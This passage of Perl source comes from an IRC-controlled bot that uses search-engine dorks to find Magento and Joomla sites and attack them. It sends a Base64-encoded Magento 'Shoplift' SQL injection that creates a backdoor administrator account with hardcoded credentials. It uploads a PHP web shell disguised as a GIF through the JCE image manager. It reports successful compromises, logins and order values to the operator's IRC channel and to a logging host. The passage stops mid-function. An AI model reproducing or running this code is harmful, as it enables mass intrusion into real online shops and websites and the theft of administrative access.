&type($chan,$bug,$dork,"BingCC",$type,$nick); } exit; } } if ($engine =~ /bingMIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMIL",$type,$nick); } exit; } } if ($engine =~ /bingASIA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingASIA",$type,$nick); } exit; } } if ($engine =~ /bingNAME/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNAME",$type,$nick); } exit; } } if ($engine =~ /bingPRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPRO",$type,$nick); } exit; } } if ($engine =~ /bingTRAVEL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTRAVEL",$type,$nick); } exit; } } if ($engine =~ /bingJOBS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingJOBS",$type,$nick); } exit; } } if ($engine =~ /bingMOBI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMOBI",$type,$nick); } exit; } } if ($engine =~ /bingAERO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingAERO",$type,$nick); } exit; } } if ($engine =~ /bingCAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCAT",$type,$nick); } exit; } } if ($engine =~ /bingCOOP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCOOP",$type,$nick); } exit; } } if ($engine =~ /bingEDU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEDU",$type,$nick); } exit; } } if ($engine =~ /bingGOV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingGOV",$type,$nick); } exit; } } if ($engine =~ /bingBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBO",$type,$nick); } exit; } } if ($engine =~ /bingBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBA",$type,$nick); } exit; } } if ($engine =~ /bingBW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBW",$type,$nick); } exit; } } if ($engine =~ /bingBG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingBG",$type,$nick); } exit; } } if ($engine =~ /bingCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCO",$type,$nick); } exit; } } if ($engine =~ /bingCR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingCR",$type,$nick); } exit; } } if ($engine =~ /bingHR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHR",$type,$nick); } exit; } } if ($engine =~ /bingDO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingDO",$type,$nick); } exit; } } if ($engine =~ /bingEC/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingEC",$type,$nick); } exit; } } if ($engine =~ /bingGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingGR",$type,$nick); } exit; } } if ($engine =~ /bingHN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHN",$type,$nick); } exit; } } if ($engine =~ /bingHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingHK",$type,$nick); } exit; } } if ($engine =~ /bingIS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIS",$type,$nick); } exit; } } if ($engine =~ /bingIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingIE",$type,$nick); } exit; } } if ($engine =~ /bingKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKZ",$type,$nick); } exit; } } if ($engine =~ /bingKE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKE",$type,$nick); } exit; } } if ($engine =~ /bingKG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingKG",$type,$nick); } exit; } } if ($engine =~ /bingLV/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLV",$type,$nick); } exit; } } if ($engine =~ /bingLY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLY",$type,$nick); } exit; } } if ($engine =~ /bingLT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLT",$type,$nick); } exit; } } if ($engine =~ /bingLU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLU",$type,$nick); } exit; } } if ($engine =~ /bingMA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMA",$type,$nick); } exit; } } if ($engine =~ /bingNP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingNP",$type,$nick); } exit; } } if ($engine =~ /bingPK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPK",$type,$nick); } exit; } } if ($engine =~ /bingPR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingPR",$type,$nick); } exit; } } if ($engine =~ /bingSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSG",$type,$nick); } exit; } } if ($engine =~ /bingSK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingSK",$type,$nick); } exit; } } if ($engine =~ /bingZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingZA",$type,$nick); } exit; } } if ($engine =~ /bingLK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingLK",$type,$nick); } exit; } } if ($engine =~ /bingTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTW",$type,$nick); } exit; } } if ($engine =~ /bingTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingTR",$type,$nick); } exit; } } if ($engine =~ /bingVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingVE",$type,$nick); } exit; } } if ($engine =~ /bingVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingVN",$type,$nick); } exit; } } if ($engine =~ /bingMUSEUM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BingMUSEUM",$type,$nick); } exit; } } if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKCA",$type,$nick); } exit; } } if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDE",$type,$nick); } exit; } } if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKIT",$type,$nick); } exit; } } if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKFR",$type,$nick); } exit; } } if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKES",$type,$nick); } exit; } } if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKRU",$type,$nick); } exit; } } if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNL",$type,$nick); } exit; } } if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKUK",$type,$nick); } exit; } } if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKBR",$type,$nick); } exit; } } if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKPL",$type,$nick); } exit; } } if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAU",$type,$nick); } exit; } } if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKAT",$type,$nick); } exit; } } if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKJP",$type,$nick); } exit; } } if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKSE",$type,$nick); } exit; } } if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKMX",$type,$nick); } exit; } } if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKNO",$type,$nick); } exit; } } if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsKDK",$type,$nick); } exit; } } if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type); } exit; } } if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KvaSiR"); } exit; } } if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"QuinT",$type); } exit; } } if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type); } exit; } } if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; } } if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ask2",$type); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type,$nick); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type,$nick); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type,$nick); } exit; } } if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YaHoo",$type,$nick); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type,$nick); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OnEt",$type,$nick); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CLusTy",$type,$nick); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type,$nick); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type,$nick); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type,$nick); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type,$nick); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZNam",$type,$nick); } exit; } } } ######################################### Exploiting sub shoplift() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$magelogo,$nick); my $num = scalar(@totexploit); if ($num > 0) { foreach my $site (@totexploit) { $count++; if ($count == $num-1) { &msg("$chan","$magelogo 12OUT.."); } my $test = "".$shopliftxpl."?target=http://".$site."&type=shoplift"; my $htmlx = &get_content($test); my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g"; &get_content($testsql); if ($htmlx =~ /is vulnerable/) { my $htmlsql = &get_content($testsql);} my $downloader = "http://".$site."/downloader/?return=http%3A%2F%2F".$site."%2Findex.php%2Fadmin%2F"; my $ngecek = &get_content($downloader); if ($ngecek =~ /Magento Downloader/) { my ($useragent,$request,$response,%form); undef %form; $form{username} = "system32"; $form{password} = "devil123"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(20); $request = POST $downloader,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Upload package file/) { &get_content("".$botsaver."?x=[ShopLift] http://".$site."index.php/admin - Login Success"); &msg("$chan","9,1[ShopLift] 7Login Success"); &msg("$admin","$magelogo(13,1$engine13) 9http://".$site."index.php/admin 9- 13Login Success 5[ sytem32 ] 2[ devil123 ]");} ####################################################################################################################################################################### if ($res =~ /(.*?)<\/span>/g) { my $price = $1; &msg("$channel","9,1[ShopLift] 13Login Success With 11Avarage Order 10".$price." "); &msg("$admin","9,1[ShopLift] 6http://".$site."index.php/admin 5[ sytem32 ] 2[ devil123 ] 13Login Success With 11Avarage Order 10".$price." ");} ####################################################################################################################################################################### if ($res =~ /Warning: (.*)<\/h4/ ) { if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;} &get_content("".$botsaver."?x=[ShopLift] http://".$site." - ".$warn.""); &msg("$chan","9,1[ShopLift] 14$warn"); &msg("$admin","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");} if($res =~ /Invalid/) { my $dirk = "admin"; &chkbegal($site,$dork,$chan,$engine);}}} my $test1x = "http://".$site."skin/error.php"; my $test2x = "http://".$site."skin/upil.php"; my $test3x = "http://".$site."skin/skinmain.php"; my $test4x = "http://".$site."skin/rss.php"; my $test5x = "http://".$site."skin/skinwizard.php"; my $test6x = "http://".$site."skin/Signedint.php"; my $html1x = &get_content($test1x); if ($html1x =~ /post>Password:/) { if ($html1x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test1x.""); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test1x."");} my $html2x = &get_content($test2x);#sleep(1); if ($html2x =~ /GIF89GHZ/) { if ($html2x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test2x." (OS:".$osx.")"); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test2x." 9".$osx."");} my $html3x = &get_content($test3x); if ($html3x =~ /post>Password:/) { if ($html3x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test3x.""); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test3x."");} my $html4x = &get_content($test4x);#sleep(1); if ($html4x =~ /GIF89a/) { if ($html4x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test4x.""); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test4x."");} my $html5x = &get_content($test5x); if ($html5x =~ /post>Password:/) { if ($html5x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test5x.""); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test5x."");} my $html6x = &get_content($test6x); if ($html6x =~ /post>Password:/) { if ($html6x =~ / (.*) /){$osx=$1;} &get_content("".$botsaver."?x=-SHELL- ".$test6x.""); &msg("$chan","$magelogo13Shell Found (OS:".$osx.")"); &msg("$admin","$magelogo(13,1$engine13)8 ".$test6x."");} } } } sub chkbegal { my $site = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $website = "http://".$site."downloader/"; my $wbst = "http://".$site."downloader/index.php?A=settings"; my $check = &get_content($website); if ($check =~ /Magento Downloader/) { my ($useragent,$request,$response,%form); undef %form; $form{username} = "system_backup"; $form{password} = "123456"; $useragent = LWP::UserAgent->new(agent => $uagent); $useragent->timeout(10); $request = POST $website,\%form; $response = $useragent->request($request); if ($response->is_success) { my $res = $response->content; if ($res =~ /Upload package file/ ) { &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site."index.php/".$dirk."/ - Login Success system_backup 123456"); &msg("$chan","9,1[ShopLift]13 Login Success"); &msg("$admin","$magelogo(13,1$engine13) 9http://".$site."index.php/".$dirk."/ 9- 13Login Success system_backup 123456");} if ($res =~ /Warning: (.*)<\/h4/ ) { if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;} &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site." - ".$warn.""); &msg("$chan","9,1[ShopLift]4 $warn"); &msg("$admin","$magelogo(13,1$engine13) 9http://".$site." 9-4$warn");} }}} sub jce_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; if ($count == $num-1) { &msg("$chan","$jcelogo 15$engine 14scan finish"); } my $test = "http://".$site.$bug; my $coba = "http://".$site; if ($coba =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $hajarhome = $2; } my $shellz = "http://".$site."/images/stories/petx.phtml"; my $crsmtp = "http://".$site."images/stories/petx.phtml?baca"; &jce_cek_query($hajarhome); my $fuck ="http://".$site."images/stories/petx.gif"; my $cek = &get_content($fuck); if($cek =~ /GIF89aGLO/i){ &msg("$chan","$jcelogo 15$engine 14Executing Payloads..."); &jce_cek_query2($hajarhome); my $check = &get_content($shellz."?bajak"); if ($check =~ /Peterson - Shell/g){ my $safe = ""; my $os = ""; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$base","$jcelogo 15$engine 9SheLL 4$shellz 14$safe $os"); &msg("$nick","$jcelogo 15$engine 9SheLL 4$shellz 14$safe $os"); &msg("$chan","$jcelogo 15$engine 9SheLL 15Target Sent to 9$nick 14$safe $os"); &carismtp($crsmtp,$chan,$site,$engine); } my $shellxp = "http://".$site."images/stories/petx.pHp"; my $crsmtpx = "http://".$site."images/stories/petx.pHp?baca"; &jce_cek_query3($hajarhome);&jce_cek_query4($hajarhome); my $crutz = &get_content($shellxp."?bajak"); if ($crutz =~ /Peterson - Shell/g){ my $safe = ""; my $os = ""; if ($crutz =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($crutz =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$base","$jcelogo 15$engine 9SheLL 4$shellxp 14$safe $os"); &msg("$nick","$jcelogo 15$engine 9SheLL 4$shellxp 14$safe $os"); &msg("$chan","$jcelogo 15$engine 9SheLL 15Target Sent to 9$nick 14$safe $os"); &carismtp($crsmtpx,$chan,$site,$engine); } my $shellx = "http://".$site."images/stories/petx.php"; my $crsmtpz = "http://".$site."images/stories/petx.php?baca"; &jce_cek_query5($hajarhome);&jce_cek_query6($hajarhome); my $crotz = &get_content($shellx."?bajak"); if ($crotz =~ /Peterson - Shell/g){ my $safe = ""; my $os = ""; if ($crotz =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($crotz =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$base","$jcelogo 15$engine 9SheLL 4$shellx 14$safe $os"); &msg("$nick","$jcelogo 15$engine 9SheLL 4$shellx 14$safe $os"); &msg("$chan","$jcelogo 15$engine 9SheLL 15Target Sent to 9$nick 14$safe $os"); &carismtp($crsmtpz,$chan,$site,$engine); } } } } } sub jce_cek_query() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.phtml"]}'; $header24 = "Content-Length: ".length($header25).""; ## EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); close($remote); } sub jce_cek_query2() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; $header25 = 'json={"fn":"folderRename","args":["/petx.gif","petx.phtml"]}'; $header24 = "Content-Length: ".length($header25).""; # EOF COde ## my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(5); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3); print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; close($remote); } sub jce_cek_query3() { my $TARGET = $_[0]; ## Start Code ## $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1"; $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1"; $header2 = "Host: $TARGET"; $header3 = "User-Agent: BOT/0.1 (BOT for JCE)"; $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334"; $header5 = "Content-Length: 2286"; #737 $header6 = "-----------------------------41184676334"; $header7 = 'Content-Disposition: form-data; name="upload-dir"'; $header8 = '/'; $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""'; $header10 = 'Content-Type: application/octet-stream'; $header11 = 'Content-Disposition: form-data; name="upload-overwrite"'; $header12 = "0"; $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="petx.gif"'; $header14 = 'Content-Type: image/gif'; $header15 = 'GIF89aGLO'; $header16 = ""; $header17 = 'Content-Disposition: form-data; name="upload-name"'; $header18 = 'petx'; $header19 = 'Content-Disposition: form-data; name="action"'; $header20 = 'upload'; $header21 = "-----------------------------41184676334--"; $header22 = 'X-Request: JSON'; $header23 = 'Content-Type: application/x-www-form-urlencoded; 